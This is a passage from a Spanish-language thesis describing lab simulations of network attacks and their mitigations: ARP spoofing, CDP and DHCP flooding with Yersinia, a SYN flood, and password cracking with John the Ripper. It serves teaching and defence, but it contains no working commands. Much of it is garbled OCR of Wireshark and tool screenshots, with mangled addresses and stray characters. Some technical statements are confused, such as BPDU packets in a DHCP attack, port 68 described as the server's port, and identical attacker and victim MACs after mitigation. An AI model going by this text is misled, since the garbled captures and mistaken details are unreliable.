Victima 192.168.100.181 38:60:77:4E:7A: EA  Windows 7

Direccién IP Direccién MAC

Tabla 3-3: “Direcciones IP y MAC después del Ataque MitM y ARP Spoofing”

Cuando la mitigacion se realiza podemos observar llustracion 3-7 que
después de establecer direcciones estaticas por mas que se intente el ataque

no cambiara las direcciones originales quedando de la forma:

Sistema
Operativo
Atacante 192.168.100.166 38:60:77: 4E:7A: EA Kali Linux
Victima 192.168.100.181 38:60:77: 4E:7A: EA  Windows 7

Direccién IP Direccién MAC

Tabla 3-4: “Direcciones IP y MAC después de la mitigacion del Ataque MitM y

ARP Spoofing”
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3.5.2 CDP —Denegacion de Servicio

Este tipo de ataque se produce a nivel de enlace de datos, sin embargo,
también involucra a varias capas como de aplicacion para denegar cualquier tipo
de servicio en salidas a Internet y capa de red debido a que el transito de datos
pasa por routers. El disefio de red que se usara para este tipo de ataque se muestra

en la llustracion 3-8.

v

Sx 0B MY “ai @\ o
‘?W,‘?'?: 8 x| BUY LIFETIME LICENSE AT WWW.MIRILLIS.COM

_—
‘@ Router 2691 Yersinia
ﬂ e c1
R2

- = "
S on B

S,

fo

< m

Consola

GNS3 management console. Running GNS3 version 0.8.4.
Copyright (c) 2006-2013 GNS3 Project.

=> 09:13:44: Exporting R2 configuration to C:\Users\Joe\GNS3\Projects\CrisTesisCOP _Finpl\configs \R2.cfg
09:13:44: Exporting R 1 configuration to C:\Users\Joe \GNS3\Projects\CrisTesisCOP_Final\canfigs'\R 1.cfg

llustracidn 3-8: “Disefio de Red CDP ”

Para simular este tipo de ataque, se utiliza el sistema operativo “Kali
Linux” el cual es utilizado como atacante mientras que los routers seran las
victimas; cabe recordar que se utiliza la herramienta GNS 3 en su version 1.4 para

realizar la correcta configuracion y manipulacién de dichos routers. (VER

ANEXO 8.2).
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Por otro lado, Yersinia es la herramienta que ayudara a realizar una
inundacion de tabla CDP, los paquetes enviados no se encuentran encriptados
entonces tienden a aumentar rapidamente lo que provoca una denegacion de
servicios. La mayoria de routers y switches tienen su CDP habilitado por default

lo que provoca una vulnerabilidad muy grande para cualquier tipo de empresa.

Como se muestra a continuacion, después de haber realizado este tipo de
ataque con éxito, la llustracion 3-9 e llustracion 3-10 despliega toda la
informacién que tiene CDP tomando en cuenta que este contiene toda la
informacidén sobre un dispositivo como las direcciones IP, version de software,

plataforma, VLAN nativa lo cual es de relevancia para el atacante.

Capturing from ethO e ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mae -‘ﬁhxgo\c-».gnu__-;@\e\qﬁ

i |[pTP B30 | Expression..  +

No Time Source Destination Protocol Length Info £
997.239556585 c2:1a:56:6a:0f:f5 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: TTT7777 Port ID: Ethern:
997.239605615 4c:f1:da:6b:8d:39 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: AADO00O Port ID: Ethern
997.239653430 d4:b1:54:23:be:b9 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 0000000 Port ID: Ethern
997.239684436 f7:68:44:54:ef:b6 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: VWVWWWW Port ID: Ethern
997.239733511 41:b7:e9:37:04:4a CDP/VTP/DTP/PAQP/UD.. COP 96 Device ID: CCCCQQQ Port ID: Ethern:
997.239781980 96:6c:15:5a:5d:c8 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: CCCCCCC Port ID: Ethern
997.239813195 3a:66:d1:0e:bd:b7 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: BBBBBBB Port ID: Ethern:
997.239861292 66:24:40:4c:76:52 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: FFFFFFF Port ID: Etherni
997.239908720 37:ae:b0:37:35:27 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 11111FE Port ID: Etherni
997.239940644 0c:86:33:4a:81:77 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 1111111 Port ID: Ethern
997.239988679 e7:d3:9f:3a:99:7¢c CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: HHHHHHH Port ID: Etherni
997.240020690 bb:06:a6:67:c0:59 CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 4444444 Port ID: Ethern:
997.240068370 d1:95:9d:0b:e9:2e CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 3333333 Port ID: Ethern:
997.243972783 ab:a6:f2:26:24:6c CDP/VTP/DTP/PAgP/UD.. CDP 96 Device ID: 8888888 Port ID: Ethern
997.244106457 eb:fa:34:37:50:5b CDP/VTP/DTP/PAgP/UD.. COP 96 Device ID: DDDDDDD Port ID: Ethern:

‘4 »
» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ©

» Ethernet II, Src: Dell f2:89:86 (20:47:47:f2:89:86), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

» Address Resolution Protocol (request)

ff ff ff ff ff ff 20 47 47 f2 89 86 08 06 00 @1 ...... 6 Biiiiaes -
08 00 06 04 60 01 20 47 47 f2 89 86 cO aB 64 Ge  ...... G 6..... d. v
@ 7 Invalid filter: "DTP" is neither a field nor a protocol name. Packets: 374292 - Displayed: 374292 (100.0%) Profile: Default

lustracion 3-9: “Ataque CDP y Denegacion de Servicios”
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Yersinia 0.8.2

File Protocols Actions Options Help w
o s = a 0 N (%]
Launch attack Edit interfaces Load default List attacks Clear stats Capture Edit mode Exit

Protocols Packets COP | DHCP | 802.1G 802.1X | DTP  HSRP | ISL MPLS | STP | VIP | Yersinia log

1397789 W | TTL DeviD Interface Count Last seen
FF - 2222FFF eth0 i ] 18 Jun 20:58:06
0 FF 1111111 eth0 1 18 jun 20:58:06
( FF i eth0 1 18 jun 20:58:06
DTP 0 FF 4444444 ethD 1 18 jun 20:58:06
SRP 0 FF 4444444 eth0 1 18 jun 20:58:06
Bl - FF  33KKKKK eth0 1 18jun 20:58:06
MPLS 0 FF 3333333 eth0 1 18 jun 20:58:06
— i
- FF AANNNNN eth0 1 18 jun 20:58:06
il L FF -DDDDDDD ho 1 18 20:58:06
t 158!
Source MAC  AGAAIE: = aabols
FF_YYYYYYY eth0 1 18 jun 20:58:06

Destination MAC : 01:00:0C Cisco Discovery Protocol

Version 0L Source MAC  |06:45:8B:6B:41:56/  Destination MAC  [01:60:8C:CC:CC:CC Extra|
T FF —
Checkann: €870 Version a1 TIL B4 Checksum eees
DeviD PPPPPPP
Addresses 133.005.7 | Bx0008: 0160 Bcece cccc ab4a 163d 0a7l 0052 asaa .......J.=.q.R..
S pr— 0x0010: ©300 B00BC 2000 01ff c870 BOOL @OGb 5058 P
2 BINEWT lgyge2e: 5050 5656 5088 D200 1160 9E6 8181 8lcc
— " 0x0030: 0004 855f f53f 0803 000d 4574 6865 726e
20:58:09 8x8846: 6574 3006 046 BBOE BOEE 7980 8500 8930

lustracion 3-10: “Log Ataque con Yersinia”

3.5.2.1 Medios de Prevencion

3.5.1.1.1 Para prevenir este tipo de ataque se debe deshabilitar las tablas
CDP de los routers, para realizar estas acciones se digita los
siguientes comandos “no cdp run” 0 “no cdp enable”. Sin
embargo, en la actualidad no se ha mejorado dicho protocolo

desde el punto de vista de seguridad (VER ANEXO 8.2).

3.5.1.1.2 Utilizar herramientas que permita analizar y observar todo el
trafico que pasa por los dispositivos de red, por ejemplo
“Wireshark”, este analizador permitird observar cual es el
comportamiento de las tramas, protocolos, origen y destino de

cada uno de los paquetes.
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3.5.1.1.3 Conocer profundamente cuales son los dispositivos de red mas
importantes para que se pueda configurar de manera correcta los
routers y maquinas de tal forma que se reconozca rapidamente
este punto vulnerable y corregirlo a tiempo, ya que puede

provocar una gran inestabilidad en el sistema.

3.5.1.1.4 Reconocer cuales son dispositivos de red que necesiten tener
habilitado este protocolo ya este es necesario para conocer cuél
es la informacion de los routers y switches que se encuentran

conectadas localmente.

3.5.1.1.5 Cabe destacar que la persona que realiza la configuracion de los
routers o switches debe tener conocimiento sobre lo que esta
realizando y sobre como funciona el protocolo CDP ya que sin
esta informacién simplemente al momento de realizar

configuraciones puede dejar invalido a los dispositivos.

Como se puede observar en la Ilustracion 3-11, se ha mitigado con éxito este
tipo de ataque, la herramienta “Wireshark™ capturd el trafico un antes y un después
de realizar estas acciones. El sistema se ha estabilizado y no permitird ningdn tipo

de inundacién CDP.
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D X 6 Q @«

mae

vvvww *

(M [Apply a display filter ... <Ctrl-/> E3 | Expression.. +

No Time Source Destination Protocol Length Info =
15.855178572 ¢8:7b:82:6d:9f:1a COP/VTP/DTP/PAgP/.. CDP 96 Device ID: AAAAAAA Port ID: Ethernete
15.855208344 08:51:4b:7a:f9:96 COP/VTP/DTP/PAgP/.. CDP 96 Device ID: 22222EE Port ID: Ethernete
15.855245341 53:ec:6c:25:d7:6a COP/VTP/DTP/PAgP/.. CDP 96 Device ID: 0000000 Port ID: Ethernet@
15.855275417 3a:7e:a2:1d:f2:e3 COP/VTP/DTP/PAgP/.. CDP 96 Device ID: RRRRRRR Port ID: Ethernete

@ 7  ethO: <live capture in progress> Packets: 163613 - Displayed: 163613 (100.0%)  Profile: Default

15.855314563 14:4a:01:79:33:18 COP/VTP/DTP/PAgP/.. CDP 96 Device ID: HHHHHHH Port ID: Etherneto
15.861157228 8f:a7:€6: :8a COP/VTP/DTP/PAgP/.. CDP 96 Device : 4444444 ID: Ethernet®

598410451 140 10188

8
16.652620783 Pegatron_4e:7a:ea Broadcast ARP k60 Who has 192.168.100.150? Tell 192.168.100.1¢
16.652633973 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.9? Tell 192.168.100.163
16.654885820 fe80::1 feB80::78e5:83ab:6.. ICMPV6 78 Neighbor Advertisement fe80::1 (rtr, sol)
16.844418501 136.144.189.42 192.168.100.163 TCP 66 60222 ~ 21373 [ACK] Seq=1 Ack=1 Win=59 Len=¢
17.169079406 46.173.35.86 192.168.100.163 UDP 148 34212 -~ 21373 Len=106
17.301803155 60.53.17.120 192.168.100.163 UubP 145 23822 -~ 21373 Len=103
17.489015416 190.22.141.67 192.168.100.163 ubP 145 52178 —~ 21373 Len=103 =

Frame 163547: 140 bytes on wire (1120 bits), 140 bytes captured (1128 bits) on interf 9
Ethernet II, Src: HuaweiTe_e2:95:25 (68:a8:28:e2:95:25), |[Dst: Pegatron_4e:7a:ea (38:6@:77:4e:7a:ea'
Internet Protocol Version 4, Src: 93.176.142.72, Dst: 192-468-466-163

User Datagram Protocol, Src Port: 10188, Dst Port: 21373

Data (98 bytes)

38 60 77 4e 7a ea 68 a8 28 e2 95 25 08 00 45 00 8 wNz.h. (..%..E. a
00 7e 42 df 00 €0 6b 11 fb 4b 5d b 8e 48 cO a8 «m=Bioike K ool
64 a3 27 cc 53 7d 00 6a S5e b3 64 31 3a 61 64 32 d.'.S}.j A.d1:ad2

lHustracion 3-11: “Visualizacion de la mitigacion del Ataque CDP —

Denegacion de Servicios”

3.5.2.2 Resultados

La Hustracion 3-9 muestra como las tablas CDP de los routers se
inunda con informacion no relevante causando inestabilidad en el sistema
incluso denegaciones de servicios, debido a que envia cantidades de
informacion a gran velocidad. Sin embargo, cuando se toma medidas sobre
este ataque se observa en la llustracién 3-11 que se estabiliza el sistema tan
solo digitando los comandos mencionados en las medidas preventivas y el
trafico en la red continua su curso con normalidad, detallandonos
direcciones MAC, IP, versiones de protocolo, origen y destino de los

paquetes, entre otros.
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3.5.3 DHCP — Hombre en el Medio

Este tipo de ataque se produce a nivel de enlace de datos, involucra a la capa
de aplicacion para denegar servicios, la capa de red ya que se debe configurar
routers y switchs que trabaja conjuntamente para poder simular este ataque como

muestra la llustracion 3-12.

- -
¥ Cisco Packet Tracer - C:\Users\Joe\Desktop\Topologias TsB\DHCP.pk‘E‘!El‘M

Fle Edt Optons View Tools Extensons Help

= + R - I i
Logical Back [Root] [N:clustzr Viove Object||Set Tied Background| |  Viewport ronment: 04:00:00
LF =
PC-PT
Kali_Linux Q
—~T
lv:
Router-PT 2960-24 ® -
Router0 Switch1
==, n
PC-PT .
Windows 7
B
=)
Y- |
) ==
< - JU " »
Time: 00:00:57 I leCvdeDemces]kastFwwa'dfmel Realtime
: Py D o e G = p——
LA LA GG G G e G s
1941 2001 2911 | B19I0X BIOHGW | 829 | 1240 (Gamerlc Genmeric | 1841 2620004 2620
— < m » |
_' I oo g ® 1941

lustracion 3-12: “Disefio de Red DHCP — Denegacion de Servicio”

Para simular un ataque de tipo DHCP se utiliza el sistema operativo “Kali
Linux” y la herramienta Yersinia con el objetivo de solicitar direcciones

simplemente hasta que el servidor se sature como se observa en la llustracion 3-13.

Este ataque simplemente tiene como objetivo producir bucles en la red
provocando caidas e inestabilidades en el sistema, ademas congestiona la red
enviando miles de paquetes BPDU con la direccion MAC origen generados
aleatoriamente generando denegaciones de servicios, inestabilidad en los recursos

incluso dejar invalido cualquier dispositivo de red. (VER ANEXO 8.3).

110



Capturing from eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR Aa2® B X T Q « » 0« o _ @ @ @ 7F

IlApply a display filter ... <Ctrl-/> = - Expression...

No Time Source Destination Protocol Length Info
100,552486410 0.0.0.0 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.552585791 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.552638063 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.552684728 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.552728518 0.0.0.0 255,255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.552772007 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100,553058198 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553078516 0.6.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553097402 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553112112 0.0.6.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553225822 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100,553291271 0.0.0.0 255.255.255.,255 DHCP 286 DHCP Discover - Transaction ID
100.553340464 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553388068 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553436282 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.553483979 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
100.560637367 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID
1AA SAA71R122 A A A A 25K 285 285 258 NHCPR 28R NHCP Nisrnuer - Transactinn TN

+

.

0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
0x64
nvﬁr’

‘
Frame 1: B98 bytes on wire (7184 bits), 898 bytes captured (7184 bits) on interface @

v Ethernet II, Src: IntelCor_ec:34:6b (60:1e:64:ec:34:6b), Dst: IPvamcast 72:06:07 (01:00:5e:72:06:07)
» Destination: IPvdmcast_72:06:07 (01:00:5e:72:06:07)

» Source: IntelCor_ec:34:6b (00:1e:64:ec:34:6b)

Type: IPv4 (0x0800)

» Internet Protocol Version 4, Src: 192.168.100.55, Dst: 239.242.6.7
» User Datagram Protocol, Src Port: 24267, Dst Port: 24267
» Data (856 bytes)

0000
0010

01 00 5e 72 06 07 0@ 1e 64 ec 34 6b 08 00 45 @0
03 74 51 67 00 00 01 11 4a 39 cO a8 64 37 ef f2

O 7 Frame (frame), 898 bytes

Packets: 514124 - Displayed: 514124 (100.0%)

lHustracion 3-13: “Ataque con Yersinia DHCP — Denegacion de Servicio”

3.5.3.1 Medios de Prevencion

.

.

Profile: Default

3.5.1.1.1 Para prevenir este tipo de ataque se debe establecer una cierta

3.5.1.1.2 Actualmente

caracteristica de seguridad la cual trabaja como un firewall entre

dos hosts no confiables y servidores DHCP. Esta mitigacion

tiene el nombre de “DHCP Snooping” de modo que el flujo de

informacion se pueda estabilizar configurando el switch y las

VLAN mediante un conjunto de comandos (VER ANEXO 8.3).

los switches Cisco cuantas con

la solucién

“Snooping” integrada, la cual sirve para mitigar este tipo de

ataque, siendo su funcionamiento muy simple ya que solo se

debe declarar el puerto al cual se cuenta conectado el DHCP.
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3.5.1.1.3 Usar “Listas de Control de Acceso” para poder bloquear el
puerto 68, siento este el puerto destino que utiliza el servidor

DHCP para poder comunicarse.

3.5.1.1.4 Detener un DHCP falso mediante el blogqueo del puerto 68 por

medio de una pasarela de red o firewall.

3.5.1.1.5 Usar analizadores de trafico como “Wireshark” de tal manera
que ayude a alertar sobre cualquier tipo de situacion que se
pueda presentar realizando varios filtros para buscar paquetes,
tramas, protocolos diferentes al configurado a nuestro servidor

DHCP.

Como se muestra en la llustracion 3-14, después de configurar los routers y el
switches se puede observar que el ataque se ha mitigado con éxito, se utiliza la
herramienta Wireshark para analizar nuevamente el tréfico que pasa por la red

deduciendo que empieza a bloquear cualquier DHCP no autorizados.
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*eth0 e ® 0
Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

@ DERGEG QA «» s = @ aaqf
I.‘dhl:p X] '] Expression..  +

No Time Source Destination Protocol Length Info B
9.805894076 B.8.8.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID 8x643c9t
9.805940398 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID 8x643c9¢
9.805997612 0.0.0.8 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID 8x643c9¢

98

9.806183181 8.8.8.6 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9é
9.848429806 104.211.48.22 192.168.100.14 TLSv1.2 1293 Application Data
9.848459133 192.168.100.14 104.211.48.22 TCP 60 16614 — 443 [ACK] Seq=1820 Ack=1240 Wir
.895428846 o 100.14 o o TLSw1.2 724 Application Data
.895693446 5 s 5 5 1283 Application Data
9.989449491 104.211.48.22 192.168.100.14 TCP 60 443 — 16614 [ACK] Seq=1240 Ack=3639 Wir
10.218919735 164.211.48.22 192.168.100.14 TLSv1.2 1294 Application Data
10.218932053 192.168.100.14 104.211.48.22 TCP 60 16614 — 443 [ACK] Seq=3639 Ack=2488 Wir
10.221132270 feB80::486e:1859:.. feB80::1 DNS 187 Standard query ©x9846 A puceeduec-my.sh
10.221329683 fe80::486e:1859:. fe80::1 DNS 1087 Standard query Oxcd74 AAAA puceeduec-my
10.314655083 Dell _f2:89:86 Broadcast ARP 60 Who has 192.168.1680.17 Tell 192.168.10¢
10.676200098 HuaweiTe_e2:95:25 Dell f2:89:86 ARP 60 192.168.1€0.1 is at 68:aB8:28:e2:95:25
10.676227802 192.168.100.14 192.168.100.1 DNS 87 Standard query 0x9846 A puceeduec-my.sh =
A eAANARAAN immiToeainC.AC ns13Snnnenc e T
» Frame 93199: 1203 bytes on wire (9624 bits), 1283 bytes captured (9624 bits) on interface E
» Ethernet II, Src: Dell f2:89:86 (20:47:47:72:89:86), Dst: HuaweiTe_e2:95:25 (68:a8:28:e2:95:25)
» Internet Protocel Version 4, Src: 192.168.100.14, Dst: 164.211.48.22
» Transmission Control Protocol, Src Port: 16614, Dst Port: 443, Seq: 2498, Ack: 1240, Len: 1149 %
[c] 68 a8 28 e2 95 25 20 47 47 f2 89 86 08 00 45 @O h.(..% G G..... EfB e
0016 04 a5 79 ee 40 00 80 06 be c4 cO a8 64 Ge 63 d3 R e I [ -
O 7 wireshark_eth0_20180715 201519_sqAaxH Packets: 94017 - Displayed: 94017 (100.0%)  Profile: Default

lustracion 3-14: “Visualizacion de la Mitigacion del Ataqgue DHCP —

Denegacion de Servicio”

3.5.3.2 Resultados

Al de realizar este ataque con su respectiva mitigacion se puede
observar en la llustracion 3-13 como se llena las tablas DHCP con direcciones
MAC aleatorias y a grandes velocidades causando inestabilidad al sistema.
Sin embargo, cuando se toma medidas sobre este ataque se observa en la
llustracion 3-14 que el trafico en la red se estabiliza y empieza a captar toda

la informacion sin ningan problema. (VER ANEXO 8.3).
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3.5.4 Syn Flood

Para realizar este tipo de ataque es necesario realizar un escaneo de los
puertos que se encuentre disponibles en la red, se utiliza la herramienta “Zenmap”

y de esta manera se lista los puntos mas vulnerables de un equipo.

Syn Flood es un tipo de ataque de inundacién que se basa en el
incumplimiento de las reglas basicas del protocolo TCP en el nivel de trasporte por
parte del cliente; debido a que, al establecer una conexién se envia una peticion de
conexion al equipo de la victima, enviando muchas peticiones de conexién de esta
manera logra colapsar los recursos del equipo victima y no podra atender nuevas
conexiones legitimas. Todo este ataque desemboca en denegaciones de servicio ya

que el sistema consumira todos sus recursos.

Como se puede observar en la llustracion 3-15, la herramienta “Wireshark”
nos muestra que el equipo victima empezd a consumir todos los recursos de manera
desproporcionada logrando que el equipo sea mas lento, sin internet y muchas veces

que no responda de manera adecuada. (VER ANEXO 8.4)
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= *eth0 (IO <]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al 7@ o RE Q@ «» Je»_ = & qaiF

|u|Appl\,ra display filter ... <Ctrl-/> d '] Expression.. = +
No Time Source Destination Protocol  Length Info =
2.019428155  43.236.140.244 192.168.100.181 TCP 54 43914 - 80 [SYN] Seq=0 Win=1049 |

2.020094085 43.236.140.244 192.168.100.181 TCP 54 25377 — 80 [SYN] Seq=0 Win=156 L
2.020510131  43.236.140.244 192.168.100.181 TCP 54 56505 — 80 [SYN] Seq=0 Win=2222 ——
2.021143665  43.236.140.244 192.168.100.181 TCP 54 2538 - 80 [SYN] Seq=8 Win=2163 L
2.021835112 43.236.140.244 192.168.100.181 TCP 54 28012 — 80 [SYN] Seq=0 Win=2580
2.022296948  43.236.140.244 192.168.100.181 TCP 54 51672 — 80 [SYN] Seq=0 Win=2706 —
2.022775136  43.236.140.244 192.168.100.181 TCP 54 5901 - 80 [SYN] Seq=8 Win=3286 L——
2.827706453 .236.148. .168.100. 54 59751 —~ BO [SYN] Seq=0 Win=3725
2.028305811  43.236.140.244 192.168.100.181 TCP 54 8228 - 80 [SYN] Seq=8 Win=3772 L -
[ ’

-

Frame 2445: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface ©
Ethernet II, Src: PcsCompu_@f:f3:04 (08:00:27:0f:f3:04), Dst: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
» Destination: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
b Source: PcsCompu_@f:f3:04 (08:00:27:0f:f3:04)
Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 43.236.140.244, Dst: 192.168.100.181
Transmission Control Protocol, Src Port: 59751, Dst Port: 8@, Seq: @, Len: @

4

-

4

88 @0 27 17 b4 1d @8 @@ 27 of f3 o4 @8 6@ 45 00 s Tl E. e
Ge10 ee 28 ff c3 60 80 f7 06 e5 cd 2b ec 8c T4 co a8 P P o
O 7 wireshark_eth0_20180721151946_aSNvHd Packets: 7932 - Displayed: 7932 (100.0%)  Profile: Default

lustracion 3-15: “Visualizacion del Ataque Syn Flood en Wireshark”

3.5.4.1 Medios de Prevencion

3.5.4.1.1 Para prevenir este tipo de ataque se utiliza la herramienta Untagle
en la version de Linux Debian 8, se realiza la configuracion de
reglas con el objetivo de bloquear el trafico que pasa por el
puerto 80. De considerar pertinente, aqui se puede permitir
filtrar el tréfico de cualquier red permitiendo el acceso a

cualquier direccion IP. (VER ANEXO 8.4)

3.5.4.1.2 Activar Syn Cookies en las consolas de Windows o Linux
respectivamente, siendo usado como una estrategia inteligente
para evitar todo tipo de almacenamiento de los estados de los

TCP.
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3.5.4.1.3 Activar SynProxy en las consolas de Windows y Linux
respectivamente, ya que es utilizado para apoderarse de todas
las conexiones mientas se genera Syn Cookies de tal manera que
se introduce en los paquetes enviados y resuelve el problema de

seguridad en paginas web.

3.5.4.1.4 De ser necesario bloquear los puertos abiertos que no se utilice,
ya que esto genera que la maquina sea mas vulnerable a ciertos
tipos de ataques, ademas utilizar frecuentemente analizadores de
trafico que permitan verificar el estado actual de una

determinada red.

En la llustracion 3-16, la herramienta “Wireshark” nos muestra que el

ataque fue mitigado con éxito, ya que se ha estabilizado el sistema mediante la

aplicacion de reglas a través Untangle, es decir bloguear el paso del trafico del

puerto 80 y redirigirlo hacia otra direccién IP que sea segura. (VER ANEXO 8.4)

|~‘-’- pply a display filter ... <Ctrl-/> - | -| Expression... = +
No Time Source Destination Protocol Length Info =
1.348228203 192.168.100.188 102.168.100.1 DNS 84 Standard query @x2cfé A sci9.rules
1.421630951 80.85.85.58 192.168.100.188 TCcP 66 80 — 8538 [ACK] Seq=505 Ack=117 Win
1.459157229 192.168.100.1 192.168.100.188 DNS 288 Standard query response @x2cf6 A sc
1.460329959 192.168.100.188 192.168.100.1 DNS 84 Standard query 6x46c9 A sc21.rules.
1.602871022 192.168.100.1 192.168.100.188 DNS 10@ Standard query response @x46c9 A sc
+ 1.612666162 fe80::78e5:83ab:631d:3404 ffe2::c SSDP 208 M-SEARCH * HTTP/1.1
3.296770611 192.168.100.188 291.159.221.11 NTP 90 NTP Version 4, client
3.312972242 201.159.221.11 192.168.100.188 NTP 99 NTP Version 4, server
I 4.613279864 feB0::78e5:83ab:631¢:3404 ffe2::c 208 M-SEARCH * HTTP/1.1
5.085498025 192.168.100.0 239.255.255.250 SSDP 420 NOTIFY * HTTP/1.1
5.085547242 192.168.100.0 239.255.255.250 SSDP 492 NOTIFY * HTTP/1.1
5.086414669 192.168.100.0 239.255.255.258 SSDP 429 NOTIFY * HTTP/1.1
5.086440247 192.168.100.0 239.255.255.2508 SSDP 488 NOTIFY * HTTP/1.1
5.086804601 192.168.100.0 239.255.255.258 SSDP 429 NOTIFY * HTTP/1.1
5.086825748 192.168.100.0 239.255.255.2508 SSDP 468 NOTIFY * HTTP/1.1
5.086830763 192.168.100.0 239.255.255.258 SSDP 429 NOTIFY * HTTP/1.1

£ nnennanea ann 420 ann n Ann ncE ace acn ~enn Enn MATTOY & UTTRAe A

» Frame 42: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface @
» Ethernet II, Src: Pegatron_de:7a:ea (38:60:77:4e:7a:ea), Dst: IPvBmcast_Oc (33:33:00:00:080:8c)
» Destination: IPvémcast_6c (33:33:00:00:80:8c)
» Source: Pegatron_d4e:7a:ea (38:60:77:4e:7a:ea)
Type: IPv6 (OxB6dd)
» Internet Protocol Version 6, Src: fe80::78e5:83ab:631d:34084, Dst: ffe2::c
» User Datagram Protocol, Src Port: 56553, Dst Port: 1960
» Simple Service Discovery Protocol

00 60 00 %9a 11 01 fe B0 GO 0O OO OO 00 00 78 e5  ........ ...... X.
83 ab 63 1d 34 @4 ff 02 00 00 00 00 00 PO @O0 0O T
O 7 eth0: <live capture in progress> I Packets: 91 - Displayed: 91 (100.0%) Profile: Defalltt

33 33 00 00 00 Oc 38 60 77 d4e 7a ea 86 dd 60 00 33....8" wNz... . E

lHustracion 3-16: “Visualizacion de la Mitigacion del Ataque Syn Flood”
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3.5.4.2 Resultados

Al realizar este ataque con su respectiva mitigacion se puede
observar en la llustracion 3-15 que el servidor empieza a realizar inicios de
sesion sin finalizar, es decir dejando a la espera de una respuesta. Sin
embargo, cuando se toma medidas sobre este ataque a través de un Firewall
en este caso Untangle, se observa en la llustracion 3-16 que cuando filtra la
direccidn IP establecida, empieza a captar el trafico de manera estable y sin

ninguna complicacion debido a que se ha re direccionado el puerto.

3.5.5 Sesiones, contrasefias y aplicaciones

Este tipo de ataque vulnera los niveles superiores del nivel OSI (sesion,
presentacion y aplicacion) debido a que permite el ingreso a cualquier maquina que

tenga disponible el acceso al puerto 21.

El robo de contrasefias y sesiones es muy habitual, ya que puede empezar
desde descifrar contrasefias por fuerza bruta hasta ingresar aplicaciones que
permitan estas acciones. Para simular este tipo de ataque se ha utilizado el aplicativo
“John the Ripper” el cual permite descifrar los usuarios y contrasefias para ingresar

a cualquier maquina.

Si bien es cierto, esta aplicacién es un poco complicada de instalar, aplicar
y entender ya que se debe realizar con mucho cuidado debido a que podemos mover
dafar algun fichero que sea util para este aplicativo. Como se puede observar en la
llustracion 3-17, se ha realizado con éxito el ataque, logrando entrar a la maquia

victima y poder realizar cualquier tipo de accion dafiina. (VER ANEXO 8.5)
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Capturing from ethd L -
Fle Edt View Go Ciptre Analyze Statntics Telephony Wiretess Tools Help

ARG DT RE Qee Jwea | 5 aaqaqll

A | Acply » duplay fiter _ «Cirl £ - Bxpression *
|No Tine Soxrce Destination Protocol  Length Info
[ 12.09240104% fen0: ;7065 :03ab:031d:38. 1f02: ¢ 5500 371 NOTIFY * WTTP/4.1
12.952495652 192.1068.199.163 239,295.255.260 S50P 559 NOTIFY * WTTP/1.1
12.052488175 feb0::78e5:83ab:831d:34. frB2::c S50 S85 NOTIFY * NTTP/1.1
12.517546222 192.1068.160.163 239.255.255.250 Ssoe 175 M-SEARCH * HTTP/3.3
12.953116050 102.108.100.14 210,585,192, 100 L L o8 Continuation Data
12.034320457 210.50,192.100 192,168,100, 34 TP 00 443 ~ 7990 [ACK] Sequl Acks2 Winsis
12.656302723 192.108.160.50 224.9.9.251 MOKS 119 Standard query GuB814 PTR _12F85388
12.710245513 192.168.180.18 192.168.186.255 NENS 32 Nase query NB ISATAP<OO>

{480 T0035 10 192.308.100.1600

L740003197  192.108.100, 102,108,100, 109 00 4444 - 45444 [ACK] SeqR3 ACK=440 Wi

12.803825134 PcsCompa_0f:f3:04 PesConpu_3a:2d:14 ARP 42 Who has 192,108, 109.1097 Tell 1892.1/
12.865289847 PosCompu_3a8:2d:34 PosConpu Bf:13:04 ARP 00 192.108.190.109 15 at 68:09:27:3a: 2
12.8805T0520 192.108.100.14 172.217.2.06 850 56 Continuation Data
